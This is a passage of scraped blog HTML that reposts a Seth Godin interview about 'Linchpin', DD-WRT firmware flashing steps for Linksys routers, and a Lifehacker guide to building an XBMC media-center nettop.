0, 0);"> <strong>Seth:</strong> No way is it an achievement. You don’t stay indispensable for long. One day they’re scalping tickets to see you for $250 in the street, the next day you’re in the discount bin. The challenge is perpetual re-invention. </div> <h3>It appears to be far easier to become indispensable if you choose to walk your own path and consciously break away from the norms of large systems that seek stability and predictability, like schools, governments, and big companies. Is that true? Can “cogs in the machine” become indispensable?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> If you work for a company that prides itself on anonymous cogs, then success there actually means life career failure. That’s a sucker’s game. But I think there are more and more companies that pride themselves on building entire groups of indispensable people, linchpins, people who seek to make a difference. </div> <h3>As you note in the book, our ancient “lizard brain” is always instinctively searching for pleasure, safety, and security. The process of becoming indispensable is often uncomfortable and feels quite risky. Do you recommend ignoring these instincts, or is there some way to use them to our advantage?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> Here’s what I do: when I hear the lizard brain, the scared voice, what <a href="http://blog.stevenpressfield.com/category/writing-wednesdays/">Steven Pressfield</a> calls the resistance… I do precisely what it is afraid of. It’s my compass, but backwards. </div> <h3>Generosity seems to be a major theme in the book. The general approach to becoming indispensable seems to be giving away significant value; the more you give, the more indispensable you become. At the same time, the defining moment of every self-supporting business is the transaction – no sales, no business. At what point do you transition from giving to trading?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> I think the transition becomes easy when the thing you want to sell is naturally scarce. If you need custom work, fast work, exceptional inspired work… that’s what you’re going to pay for. Before you pay for that, I demonstrate to you how hard it is to live without it, because you’ve already seen what I can do for others (or perhaps for you). </div> <h3>I love the connection you make between businesses that matter and art, which you define as “a personal gift that changes the recipient.” What do the most successful businesspeople and artists have in common?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> Art has nothing to do with painting, and everything to do with change, emotion and connection. And isn’t that what smart, growing businesses do? We now pay for surprise and delight and productivity. Where do those things come from? Not from a manual. Not from a marketing textbook. They come from an artist. </div> <h3>Craftsmen and artists, more often than not, hate to compromise – even when their vision requires working with others, who may have different values or priorities. For example, changes to a building’s budget may impact an architect’s vision for the space. When is it better to walk away from situations that compromise your ideals? Is there a time and place for making tradeoffs to ensure the work becomes real? Does accepting tradeoffs make you any less of an artist or craftsman?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> This is a spectacular insight, and I don’t know the answer. Certainly, there are artists that are so cocky and imperious and so afraid to work with someone else that they have no work at all. The challenge is to balance the trade offs. Not easy to describe, I think, but worth trying to do. </div> <h3>A strong mental association many people have related to the idea of art is the image of the “starving artist” – a person who chooses to live a life of material want in favor of living their ideals, which are often anti-commercial. Does commerce cheapen art? Is the business artisan destined to live a life of relative poverty?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> Commerce cheapens art, because art is a gift. But that doesn’t mean you can’t get paid for the souvenirs, for appearances, for the work you do that creates value… at the same time your generosity completes your art by adding a gift element. More complex than I can go into here, but in the book I try to outline precisely why a culture of gifts creates the connection that makes art actually happen. </div> <h3>In the book, you say that art is the product of “emotional labor,” which is always difficult and guaranteed to provoke inner resistance. How can you tell the difference between something that’s difficult because it’s important and something that’s difficult because your plan isn’t working? Where does “<a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&location=http%3A%2F%2Fwww.amazon.com%2Fdp%2F1591841666%2F&tag=personalmba-20&linkCode=ur2&camp=1789&creative=9325">The Dip</a>” fit into the picture?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> Difficult in this case only refers to the internal dialog. Hard to smile when you don’t feel like smiling. Hard to delight a customer when he’s a jerk. Hard to serve someone who is mocking you while you’re asking questions. But it’s that difficulty that creates real value, it’s what we get paid for. </div> <h3>Self-education and self-improvement are subjects that are near and dear to both of us. What encouragement or advice would you give to someone who is determined to become indispensable and make the most of their life without the benefits (and detriments) of formal schooling or advanced certification?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> Don’t pick a job that likes cogs.<br />Don’t pick a job that insists on advanced degrees.<br />Don’t look for safety.<br />Fail often.<br />Fail in public.<br />Try to find things people will criticize.<br />Learn from your mistakes, with eagerness.<br />Do difficult emotional labor that others fear.<br />Be generous.<br />Connect. <p>Have fun! </p></div> <p>You can order Seth’s new book, <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&location=http%3A%2F%2Fwww.amazon.com%2Fdp%2F1591843162%2F&tag=personalmba-20&linkCode=ur2&camp=1789&creative=9325"><em>Linchpin: Are You Indispensable?</em></a>, from <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&location=http%3A%2F%2Fwww.amazon.com%2Fdp%2F1591843162%2F&tag=personalmba-20&linkCode=ur2&camp=1789&creative=9325">Amazon.com</a> or your local bookstore. Additional interviews and commentary about the book can be found via <a href="http://www.squidoo.com/The-Linchpin-Posts">The Linchpin Posts</a>.</p></div></div>Unknownnoreply@blogger.com18tag:blogger.com,1999:blog-34767665.post-56161053233838887842010-01-26T23:38:00.001-08:002010-01-26T23:39:28.341-08:00DD-WRT for Linksys WRT160NDD-WRT installation information for Linksys router WRT160N v3.<br /><a href="http://www.dd-wrt.com/wiki/index.php/Linksys_WRT150N_&_WRT160N">http://www.dd-wrt.com/wiki/index.php/Linksys_WRT150N_&_WRT160N</a><br /><h1><span class="mw-headline">WRT160Nv3 Instructions </span></h1> <ol><li>Read the <a href="http://www.dd-wrt.com/phpBB2/viewtopic.php?t=51486" class="external text" title="http://www.dd-wrt.com/phpBB2/viewtopic.php?t=51486" rel="nofollow">Peacock Announcement</a>. </li><li>Download the latest firmware from <a href="ftp://dd-wrt.com/others/eko/V24-K26/" class="external free" title="ftp://dd-wrt.com/others/eko/V24-K26/" rel="nofollow">ftp://dd-wrt.com/others/eko/V24-K26/</a> <strong>that has "WRT160Nv3" in the file name</strong>. Latest as of writing is <a href="ftp://dd-wrt.com/others/eko/V24-K26/svn13575/dd-wrt.v24-13575_NEWD-2_K2.6_mini_wrt160nv3.bin" class="external free" title="ftp://dd-wrt.com/others/eko/V24-K26/svn13575/dd-wrt.v24-13575_NEWD-2_K2.6_mini_wrt160nv3.bin" rel="nofollow">ftp://dd-wrt.com/others/eko/V24-K26/svn13575/dd-wrt.v24-13575_NEWD-2_K2.6_mini_wrt160nv3.bin</a> </li><li>Ensure you have a physical ethernet connection to your router, and disable your wireless adapter, antivirus/firewall protection, and any software that makes strong use of your network (BitTorrent, Streaming Audio/Video, etc). </li><li>Perform a hard 30/30/30 reset. </li><li>Navigate to <a href="http://192.168.1.1/" class="external free" title="http://192.168.1.1/" rel="nofollow">http://192.168.1.1/</a> in your web browser of choice. </li><li>At the Linksys Management Mode screen, do <strong>not</strong> give the reboot command. You will use this page to upgrade your firmware. </li><li>Browse to the firmware you downloaded and click Upload. </li><li>Do not touch anything. The page will tell you that the upgrade was successful and the router is now rebooting. Your router may take upwards of a couple minutes to reboot. Watch the lights... once the wireless and power indicators are on steadily for several seconds, your router is fully rebooted and you can click "Continue" in your browser window. </li><li>If the DD-WRT password change page displays, your upgrade has been successful, and you must now perform another hard 30/30/30 reset. This time, when you navigate to 192.168.1.1, click "Reboot" and wait for the router to come online again so you can configure it. </li></ol> <p>If the DD-WRT password change page does <strong>not</strong> display, your page request times out, or you can't ping 192.168.1.1, make sure both wireless and power lights are on steadily first, then do a hard power cycle (unplug the power from the router--do not do a 30/30/30 reset). Wait a few seconds and plug the power back into the router. Wait until both wireless and power lights are on steadily, then navigate to <a href="http://192.168.1.1/" class="external free" title="http://192.168.1.1/" rel="nofollow">http://192.168.1.1/</a> in your browser of choice again. If the DD-WRT password change page displays, your upgrade has been successful, and you must now perform another hard 30/30/30 reset. This time, when you navigate to 192.168.1.1, click "Reboot" and wait for the router to come online again so you can configure it. </p><p>I made the following notes from installing on two separate Linksys wrt160nv3 routers. The other routers on this page might also behave this way, but I personally can only verify these for the wrt160nv3. </p> <ul><li> wrt160nv3 Forum page: <a href="http://dd-wrt.com/phpBB2/viewtopic.php?p=371784" class="external free" title="http://dd-wrt.com/phpBB2/viewtopic.php?p=371784" rel="nofollow">http://dd-wrt.com/phpBB2/viewtopic.php?p=371784</a> </li><li> One note from forum on making this router stable when on 3309-mini firmware is to not set it to N mode - I've used it in mixed BG and it has been fine, and the forum says G-only works. ( some of this discussion is here: <a href="http://dd-wrt.com/phpBB2/viewtopic.php?t=54781&postdays=0&postorder=asc&start=210" class="external free" title="http://dd-wrt.com/phpBB2/viewtopic.php?t=54781&postdays=0&postorder=asc&start=210" rel="nofollow">http://dd-wrt.com/phpBB2/viewtopic.php?t=54781&postdays=0&postorder=asc&start=210</a>) </li></ul> <p><br /></p> <a name="Performing_a_30.2F30.2F30_Reset_on_a_WRT160Nv3"></a><h2><span class="editsection">[<a href="http://www.dd-wrt.com/wiki/index.php?title=Linksys_WRT150N_%26_WRT160N&action=edit&section=3" title="Edit section: Performing a 30/30/30 Reset on a WRT160Nv3">edit</a>]</span> <span class="mw-headline"> Performing a 30/30/30 Reset on a WRT160Nv3 </span></h2> <ol><li>Perform a normal 30/30/30 reset. </li><li>Login to <a href="http://192.168.1.1/" class="external free" title="http://192.168.1.1/" rel="nofollow">http://192.168.1.1/</a> and you will see the Linksys - Management Mode page. </li><li>Click "Reboot." </li><li>In a moment, you will see "Command reboot completed." The router will now start the reboot process. When the lights return to their normal state, you can click "Continue" to be taken to the router's main page. </li></ol>Unknownnoreply@blogger.com97tag:blogger.com,1999:blog-34767665.post-48776499570347112892009-12-10T22:51:00.002-08:002009-12-10T22:52:45.437-08:00DD-WRT to upgrade your router with open-source router OSHigh-end router hack with cheap router from lifehacker:<br /><a href="http://lifehacker.com/software/router/hack-attack-turn-your-60-router-into-a-600-router-178132.php">http://lifehacker.com/software/router/hack-attack-turn-your-60-router-into-a-600-router-178132.php</a><br /><br />Quote:<br /><h1><a href="http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router" class="top">Hack Attack: Turn your $60 router into a $600 router</a></h1> <div style="float: right;"> </div> <!-- google_ad_section_start --> <p><img src="http://cache.gawker.com/assets/images/17/2009/07/thumb160x_bdcfed200b2e21127eb1e032cfa69753.png" class="left image158" width="158" /></p> <p><em>by Adam Pash</em></p> <p>Of all the great DIY projects at <a href="http://www.lifehacker.com/software/makerfaire/hack-attack-maker-faire-highlights-169164.php">this year's Maker Faire</a>, the one project that really caught my eye involved converting a regular old $60 router into a powerful, highly configurable $600 router. The router has an <a href="http://www.wi-fiplanet.com/tutorials/article.php/3562391">interesting history</a>, but all you really need to know is that the special sauce lies in embedding Linux in your router. I found this project especially attractive because: 1) It's easy, and 2) it's totally free.</p> <p>So when I got the chance, I dove into converting my own router. After a relatively simple firmware upgrade, you can boost your wireless signal, prioritize what programs get your precious bandwidth, and do lots of other simple or potentially much more complicated things to improve your computing experience. Today I'm going to walk you through upgrading your router's firmware to the powerful open source DD-WRT firmware.</p> <h4>What you'll need:</h4> <ol><li>One of the <a href="http://wrt-wiki.bsr-clan.de/index.php?title=Installation#Supported_Devices">supported routers</a>. I used a <a href="http://www.newegg.com/product/product.asp?item=N82E16833124190">Linksys WRT54GL Wireless router</a> that I picked up from Newegg, and the instructions that follow detail the upgrade process specifically for that router and its close siblings. If you're upgrading one of the other supported routers, you might want to look into <a href="http://wrt-wiki.bsr-clan.de/index.php?title=Installation">instructions specific to your router</a>. These instructions may generally work for other supported routers, but I'm not making any promises.</li><li>The generic DD-WRT v23 SP1 mini firmware version located <a href="http://www.dd-wrt.com/dd-wrtv2/downloads.php">here</a>.*</li><li>The generic DD-WRT v23 SP1 standard firmware version located <a href="http://www.dd-wrt.com/dd-wrtv2/downloads.php">here</a>.*</li></ol> <p>*You'll be upgrading the firmware twice, first using the mini firmware, then using the standard.</p> <h4>Upgrading your router to the DD-WRT firmware</h4> <p>Check out this <a href="http://lifehacker.com/photogallery/routerupgrade/748102">gallery for the detailed step-by-step upgrade with screenshots</a>. When you're finished, come back here for some of my favorite tweaks.</p> <p><a href="http://lifehacker.com/photogallery/routerupgrade/748102"><img src="http://www.lifehacker.com/assets/resources/2006/12/firmware%20upgrade.png" class="left image340" style="display: block;" width="340" /></a> <i>Update, October '07: Reader Josh Harris writes in:</i></p> <blockquote> <p>All the new WRT54G routers being sold now are v8, and the previous DD-WRT software didn't work on them. However, recent versions added support for the new v8 router— but it's a little more in depth.</p> <p>Got this to work on the WRT54G v8 (should work on 7 as well, just replace the files with the corresponding 7 version):</p> <p>First of all, use IE explorer. Firefox didn't work at all on this for me, even after install. Second, <a href="http://www.dd-wrt.com/dd-wrtv2/down.php?path=downloads%2Frelease+candidates%2FDD-WRT+v24+RC3%2FGENERIC+BROADCOM+%28Linksys%2C+Asus+etc.%29%2FWRT54Gv8%2C+WRT54GSv7/">go to this page</a>. Read the textfile carefully and follow its instructions. Two edits to the textfile:</p> <p>1. Make sure you go to command prompt and type <code>ipconfig /all</code>. Record the default gateway, the subnet mask, and the two DNS addresses. When you set the IP address manually on your desktop/laptop to <code>192.168.1.100</code> as per the instructions, you will need to set these 4 numbers as well.</p> <p>2. Don't forget when you do the tftp that you need to be in the folder that contains the downloaded <code>dd-wrt.v24_micro_wrt54gv8.bin</code> file (for example, if it is in C:/Downloads, type <code>/cd C:/Downloads</code>).</p> <p>Lastly don't forget you need to be on a wire to the router, and download both <code>vxworkskillerGv8.bin</code> and <code>dd-wrt.v24_micro_wrt54gv8.bin</code> before you start. Following this procedure will install the micro version on your router.</p> <p>After this, switch your laptop/desktop back to receiving your IP address via DHCP rather than the manual configuration you set as per the instructions. You will be able to access the DD-WRt micro install via <code>192.168.1.1</code> with the login username <code>root</code> and the password <code>admin</code>. From here, you still need to install the DD-WRT standard.</p> <p>Unfortunately, you cannot go any farther than this with WRT54G v7 and v8 because Linksys downgraded the physical memory in these recent models. However, micro is still an improvement over the original Linksys firmware.</p> </blockquote> <h4>Boost your wireless signal</h4> <p>The first thing I did after I finished the firmware upgrade was give my wireless signal a much needed boost ("needed" in the sense any signal boosting that can be done needs to be done, right?). Doing so is trivial.</p> <p>Go to the Wireless tab, then to Advanced Settings. Find the entry labeled Xmit Power, which is set by default at a paltry 28mW, and can be set up to 251mW. To be honest, I don't know much about the science of the whole process, but I do know that 251 is WAY bigger than 28. However, you probably don't want to pump it up to 251mW right away.</p> <p><img src="http://www.lifehacker.com/images/2006/06/transmit%20power.png" class="left image340" width="340" /></p> <p>The <a href="http://www.informatione.gmxhome.de/DDWRT/Standard/V23final/help/index.html">DD-WRT manual</a> suggests that a "safe increase of up to 70 would be suitable for most users." Anything too much above that and you'd be flirting with overheating your router and damaging the life of your router (though I've heard that many people have pushed it up to 100 or above). So go ahead and change your Xmit Power to 70 and click the Save Settings button at the bottom of the page.</p> <p>I can't measure for sure how the signal boost has improved things for me since I've <a href="http://www.lifehacker.com/software/apartments/hack-attack-apartment-hunting-101-176670.php">just moved into this apartment</a>, but I can say that the signal is full bars pretty much anywhere I go. How's that for scientific?</p> <h4>Throttling your bandwidth by program</h4> <p>While most routers treat one request for bandwidth the same as any other, your new $600 router is a step above. By <a href="http://wrt-wiki.bsr-clan.de/index.php?title=Quality_of_Service">setting up QoS (Quality of Service) rules</a>, you can give priority to your interactive traffic (like VoIP, web browsing, or <a href="http://wrt-wiki.bsr-clan.de/index.php?title=Quality_of_Service#Optimize_for_Gaming">gaming</a>) while throttling traffic that doesn't require a steady rate of bandwidth to function (like P2P programs).</p> <p>Doing so will ensure that even if your network gets clogged with lots of file sharing, you'll still have enough bandwidth left over to make all of your <a href="http://www.lifehacker.com/software/skype/free-calls-to-any-phone-with-skypeout-173795.php">free SkypeOut phone calls</a>. If you've got roommates who tend to sponge up a lot of bandwidth, you can even <a href="http://wrt-wiki.bsr-clan.de/index.php?title=Quality_of_Service#Prioritizing_by_IP_Address">prioritize by IP address</a>.</p> <h4>What to do if you brick your router</h4> <p><img alt="brick.png" src="http://www.lifehacker.com/images/2006/06/brick.png" class="postimg right" height="76" width="150" /></p> <p>If, god forbid, while flashing your firmware you end up "bricking" your router, don't worry - all is not lost. The <a href="http://wrt-wiki.bsr-clan.de/index.php?title=Main_Page">DD-WRT wiki</a> (a great resource of all things DD-WRT) can help you <a href="http://wrt-wiki.bsr-clan.de/index.php?title=Recover_from_a_Bad_Flash">recover from a bad flash</a>.</p> <p>Of course, your router will handle securing your network, <a href="http://www.lifehacker.com/software/feature/geek-to-live-how-to-access-a-home-server-behind-a-routerfirewall-127276.php?mail2=true">port forwarding</a>, and all the other things your regular old router does.</p> <p>Obviously I've just scratched the surface here, so if you decide to try this out, there's a lot of potential for other things you can do. Any readers tricked out a router with DD-WRT or one of the other open source distros? Tell us what tweaks have worked for you in the comments or at tips at lifehacker.com.</p>Unknownnoreply@blogger.com12tag:blogger.com,1999:blog-34767665.post-83919505423836733762009-12-10T22:49:00.001-08:002009-12-10T22:51:08.512-08:00XBMC on Media Center!XBMC build instruction from lifehacker:<br /><a href="http://lifehacker.com/5391308/">http://lifehacker.com/5391308/</a><br /><br />Quote:<br /><h1><a href="http://lifehacker.com/5391308/build-a-silent-standalone-xbmc-media-center-on-the-cheap" class="top">Build a Silent, Standalone XBMC Media Center On the Cheap</a></h1> <div style="float: right;"> <div style="margin: 10px 0pt 0pt -10px; clear: both;"> <script type="text/javascript">digg_skin = 'compact';digg_bgcolor = '#F8FAF0';digg_url = 'http://lifehacker.com/5391308/build-a-silent-standalone-xbmc-media-center-on-the-cheap';</script><script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script><iframe src="http://digg.com/tools/diggthis.php?u=http%3A//lifehacker.com/5391308/build-a-silent-standalone-xbmc-media-center-on-the-cheap&s=compact&t=Build%20a%20Silent%2C%20Standalone%20XBMC%20Media%20Center%20On%20the%20Cheap%20-%20Feature%20-%20Lifehacker&k=%23F8FAF0" frameborder="0" height="18" scrolling="no" width="120"></iframe> </div> </div> <!-- google_ad_section_start --> <p><a rel="lytebox" href="http://cache.gawker.com/assets/images/17/2009/10/xbmc-nettop.png"><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_xbmc-nettop.jpg" class="left image500" width="500" /></a>You won't find a better media center than the open-source <a href="http://xbmc.org/">XBMC</a>, but most people don't have the space or desire to plug a noisy PC into their TV. Instead, I converted a cheap nettop into a standalone XBMC set-top box. Here's how.</p> <p>In the spirit of our <a href="http://lifehacker.com/tag/winter-upgrades/">Winter Upgrades theme</a> this week, this guide details how to turn a cheapo nettop (think netbook for the desktop) into a killer settop box running XBMC. It handles virtually any video file I throw at it with ease (including streaming Blu-Ray rips from my desktop), it looks tiny next to my Xbox 360, it's low energy, and it's whisper quiet.</p> <p><em>Huge props to <a href="http://www.xbmc.org/forum/showthread.php?t=53888">this guide</a> on the XBMC forums, which served as the starting point for much of what I did below.</em></p> <h3 style="font-size: 120%; margin-top: 20px;">What You'll Need</h3> <p><img src="http://cache.gawker.com/assets/images/lifehacker/2009/10/xbmc-vs-xbox360-1.png" class="left image340" width="340" /></p> <ul><li><strong><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16883103228&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-_-Desktop+PC-_-Acer+America-_-83103228">Acer AspireRevo</a>:</strong> This $200 nettop ships with 1GB of RAM, an Intel Atom 230 processor, 160GB hard drive, Windows XP (which we won't use anyway), and an integrated graphics chip that handles HD video and can output it to HDMI. It also comes with a small wired keyboard and mouse, but once you're done here, you shouldn't need either of them. Oh, and it's <em>tiny</em>. (Other, more powerful nettops will work [like this one's <a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16883103234&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-_-Desktop+PC-_-Acer+America-_-83103234">beefier, $330 older sibling</a>], but this is the cheapest one I could find with the NVIDIA ION graphics powerful enough to handle the HD playback.)</li><li><strong>XBMC Live:</strong> This is a Live CD version of XBMC that boots directly into XBMC and has a tiny footprint. Basically all you're running is XBMC, so your media center stays light and snappy. You can find the download specifically set up for these NVIDIA ION machines <a href="http://www.xbmc.org/forum/showthread.php?t=53888">on this page</a>, you can grab the direct download <a href="http://sarahmeyersphotography.com/lifehacker/xbmc.zip">here</a>, or download via BitTorrent <a href="http://www.mininova.org/get/3099456">here</a>.</li><li><strong>A thumb drive:</strong> It doesn't have to be huge, but it'll need to be at least 1500MB of capacity, according to the installer. You should also format it to FAT32.</li><li><strong>An IR receiver/Windows Media Center remote</strong>: This isn't strictly necessary, but if you want to control your shiny new XBMC via remote control, you'll need some sort of supported remote with a USB receiver. I bought <a href="http://www.jdoqocy.com/click-3621681-10440897?url=http%3A%2F%2Fwww.newegg.com%2FProduct%2FProduct.aspx%3FItem%3DN82E16880121001%26nm_mc%3DAFC-C8Junction%26cm_mmc%3DAFC-C8Junction-_-Digital%2BMedia%2BRemote-_-Anyware-_-80121001&cjsku=N82E16880121001">this $20 remote</a> because it was the cheapest I could find. (Incidentally, it also works like a charm with XBMC as soon as you plug it in.)</li></ul> <p>Getting XBMC Live up and running on your nettop is a breeze if you follow a few simple steps, so let's get started.</p> <h3 style="font-size: 120%; margin-top: 20px;">Install XBMC Live on Your Thumb Drive</h3> <p>XBMC Live allows you to try XBMC on any computer from a bootable CD or thumb drive, then optionally install the lightweight, XBMC-focused Linux distro directly to your device if you like. Since our nettop doesn't have a DVD drive, we'll need to first install XBMC to our thumb drive.</p> <p>(There are ways around this. If you had a USB optical drive, you could probably burn XBMC Live to a disc and go from there. The thumb drive method isn't much more difficult, though.)</p> <p>Here's how it works:</p> <p><strong>1. Download the XBMC Live installer with the updated NVIDIA drivers</strong> included on <a href="http://www.xbmc.org/forum/showthread.php?t=53888">this page</a> (<a href="http://sarahmeyersphotography.com/lifehacker/xbmc.zip">direct link</a>, <a href="http://www.mininova.org/get/3099456">torrent link</a>). <em>Update: Huge thanks to Mike and Aaron for the file hosting and torrent creating.</em> It's a 341MB file, so it may take a while.</p> <p><strong>2. Burn XBMC Live to a CD</strong><br /><img src="http://cache.gawker.com/assets/images/lifehacker/2009/10/imgburn.png" class="left image340" width="340" />Once the download completes, unzip the xbmc.zip file. What you're left with is an xbmc.iso file—the disc image of the XBMC Live installer. Now you need to burn this ISO to a CD. Install our favorite tool for the job, <a href="http://www.imgburn.com/">ImgBurn</a>, then right-click the xbmc.iso file and select Burn using ImgBurn. (If you're running Windows 7, you can use its built-in ISO burner, too, by selecting Burn disc image.)</p> <p><strong>3. Install XBMC Live to Your Thumb Drive</strong><br />Now that you've burned XBMC to a CD, you're ready to install it to your thumb drive. To do so, plug in your thumb drive, put the XBMC Live CD in your DVD drive, and reboot your computer. If it's not already your default setting, go into your system BIOS (for most computers hitting Delete at the first boot screen will launch your BIOS) and set your optical drive as the primary boot device.</p> <p>(All this means is that when your computer boots, it'll first check to see if there's any bootable media in your optical drive. If not, it'll continue booting to your secondary device—generally your hard drive. If your optical drive does contain bootable media—like your XBMC Live CD, for example—it'll boot it up.)</p> <p><a rel="lytebox" href="http://cache.gawker.com/assets/images/17/2009/10/XBMC_Live_1.png"><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_XBMC_Live_1.jpg" class="left image500" width="500" /></a></p> <p>When XBMC Live loads, select "Install XBMCLive to disk (USB or HDD)", then accept the first prompt (by pressing any key). Next you'll end up at the "Choose disk to use" prompt, where you'll tell the installer that you want to install to your USB stick. Be careful here not to choose your hard drive, because it would be happy to overwrite your operating system if you told it to. Remember, your thumb drive is the Removable disk. After you pick the disk you want to use, confirm that you want to proceed and let the installer do its magic. (It'll only take a few minutes.)</p> <p><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_XBMC_Live_2.jpg" class="left image500" width="500" /></p> <p>Eventually the installer will ask you if you want to create a permanent system storage file, which presumably you'd want if you're not sure whether or not you want to install XBMC Live to your Acer's hard drive. I went ahead and created the system storage (even though we'll install XBMC Live directly to the hard drive in the next step.) Once the installation finishes, you're ready to proceed to the next step.</p> <h3 style="font-size: 120%; margin-top: 20px;">Set Your System BIOS</h3> <p>You'll need to make a couple of tweaks to your system BIOS to get it working smoothly with XBMC Live. So plug in your thumb drive, boot up your Acer AspireRevo, and hit Delete at the first boot screen to edit your BIOS. Look for the "Boot to RevoBoot" entry in the Advanced BIOS features menu and disable it. While you're there, set your XBMC Live thumb drive as the primary boot device. (You can set the primary boot device back to your hard drive later, after you've installed XBMC Live to your drive.)</p> <p><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_revoboot.jpg" class="left image500" width="500" /></p> <p>Then go to the Advanced Chipset Features menu and set the iGPU Frame Buffer Detect to Manual and set the iGPU Frame Buffer Size to 256MB. (This is detailed <a href="http://www.xbmc.org/forum/showthread.php?t=53888">here</a>; the actual guide says 512, but that requires that you install more RAM—something I may do in the future, and will detail with a guide if I do. The 512 buffer size will help you stream the larger HD videos without hiccups.)</p> <p><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_revo-igpu.jpg" class="left image500" width="500" /></p> <p>Now that your BIOS are set, you're ready to try out XBMC Live on your Acer AspireRevo.</p> <h3 style="font-size: 120%; margin-top: 20px;">Boot Up/Install XBMC Live to Your Hard Drive</h3> <p>At this point, you've got two choices. You can either restart your Acer AspireRevo and boot into XBMC Live to play around a little before you install it to your disk. If you're sure you're ready to install it for reals, just go ahead and run through the exact same installation as you did above, only this time install it to your nettop's hard drive. When you install to the hard drive, you'll also set a system password. This'll come in handy later.</p> <h3 style="font-size: 120%; margin-top: 20px;">The Final Tweaks</h3> <p>Okay, so far so good. XBMC should boot up directly from your hard drive now, and if you've plugged in your Windows Media Center remote, it should also be working without a hitch. You've just got to make a couple of adjustments to make it shine.</p> <p>Now, what makes your little nettop work so well is that its onboard graphics processor can handle all the HD business without eating up your regular processor power, so you'll want to enable this in the XBMC settings. So head to Settings > Video > Play, find the Set Render to section, and set it to <a href="http://en.wikipedia.org/wiki/VDPAU">VDPAU</a>.</p> <p><a rel="lytebox" href="http://cache.gawker.com/assets/images/17/2009/10/VDPAU.png"><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_VDPAU.jpg" class="left image500" width="500" /></a></p> <p>Now, depending on how you're planning on hooking up your XBMC Live box to your television, you've got a few more tweaks you'll want to make. Namely this:</p> <p>If you want to use HDMI for your audio out, head to Settings > System > Audio hardware, then set the audio output to Digital. Set your Audio output device to hdmi, and set the Passthrough output device to hdmi. Last, enable Downmix multichannel audio to stereo.</p> <p><a rel="lytebox" href="http://cache.gawker.com/assets/images/17/2009/10/audio.png"><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_audio.jpg" class="left image500" width="500" /></a></p> <p>If you are using HDMI as your audio out (I am, and it's pretty nice), you've got to make one final tweak if you want the audio output to work with menu sounds. (It'll work fine with video without making this tweak, but the click-click sounds that play when you move around the XBMC menu are nice to have.) If that applies to you, create a new text file on your regular old computer (name it asoundrc.txt) and paste the following code (again, this awesome tweak comes from <a href="http://www.xbmc.org/forum/showthread.php?t=53888">this post</a>):</p> <div class="code"> <pre>pcm.!default {<br />type plug<br />slave {<br />pcm "hdmi"<br />}<br />}<br /></pre></div> <p>In the next step, I'll show you how to copy that file over to your nettop (a little trick that'll also come in handy for manually installing plug-ins and copying files to your nettop).</p> <h3 style="font-size: 120%; margin-top: 20px;">SFTP to Your XBMC Box</h3> <p>If you want to transfer files to your XBMC Live box from another computer, you'll need to get yourself an FTP client (I like <a href="http://filezilla-project.org/">FileZilla</a>) and log into your nettop with the password you set when you were installing XBMC Live. To do so, create a new connection in Filezilla that looks something like the screenshot below (the default user is xbmc).</p> <p><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_sftp.jpg" class="left image500" width="500" /></p> <p>Once you're connected, make sure you're in the <code>/home/xbmc/</code> directory, then copy over the asoundrc.txt file we made above. (The one you want to use if you're running your audio through the HDMI output.) Once it's copied over, rename the file to <code>.asoundrc</code>, restart XBMC, and the click-click menu sounds should be working along with regular old A/V playback.</p> <p>The same SFTPing method here will be useful if you ever want to manually install any plug-ins or skins down the road, or just copy over media directly to your nettop's hard drive. (Though we'd recommend streaming—see below.)</p> <h3 style="font-size: 120%; margin-top: 20px;">Other Options</h3> <p>As I said above, you can buy more expensive, meatier machines, but for my money this Acer nettop has worked <em>perfectly</em>. Apart from upgrading to better equipment, you can also add up to 2GB more RAM if you're up for the job (RAM's so cheap these days, anyway). Like I said, though, so far I haven't seen the need for it.</p> <p>I also quickly switched the skin to the MediaStream skin, which is the one you see in the photo at the top of the page. For a look at some other great skins you may want to apply to your XBMC box, check out <a href="http://lifehacker.com/5198009/customize-xbmc-with-these-five-awesome-skins">these five beautiful skins</a>—or just head to XBMC's <a href="http://xbmc.org/skins">main skins page</a>.</p> <p><a rel="lytebox" href="http://cache.gawker.com/assets/images/17/2009/10/2009-04-04_162054.png"><img src="http://cache.gawker.com/assets/images/17/2009/10/500x_2009-04-04_162054.jpg" class="left image500" width="500" /></a></p> <p>Now that you've got it all set up, you've probably also realized that 160GB isn't all that much space for your media. You'd be right, of course. You've got two pretty good options. First, the nettop should have something like four free USB ports still, so you can easily plug in a big old drive that way. Assuming, however, that you can run an Ethernet wire over to your nettop, your best option is just to connect it to a shared folder on your home network. XBMC works like a charm with Samba shares (Windows shared folders use this).</p> <p>Whichever method you use, you just need to add your extra hard drive space as a source in XBMC. You can do so through any of the individual menu items (videos, for example), or you can add a default Samba username and password in the settings so it can connect automatically without asking for a password each time you add a new watch folder on that machine.</p> <p>At this point I could go into more detail on how to use and get the most out of XBMC (it can be a little hard to get your head around at first, even though once you do, it's not actually confusing). We've covered <a href="http://lifehacker.com/302821/soup-up-your-xbox-media-center">souping up your XBMC</a>—and <a href="http://lifehacker.com/299809/transform-your-classic-xbox-into-a-killer-media-center">building your classic Xbox XBMC machine</a>—and both offer some help in those directions. But stick around; tomorrow we'll follow up with an updated guide to some of our favorite 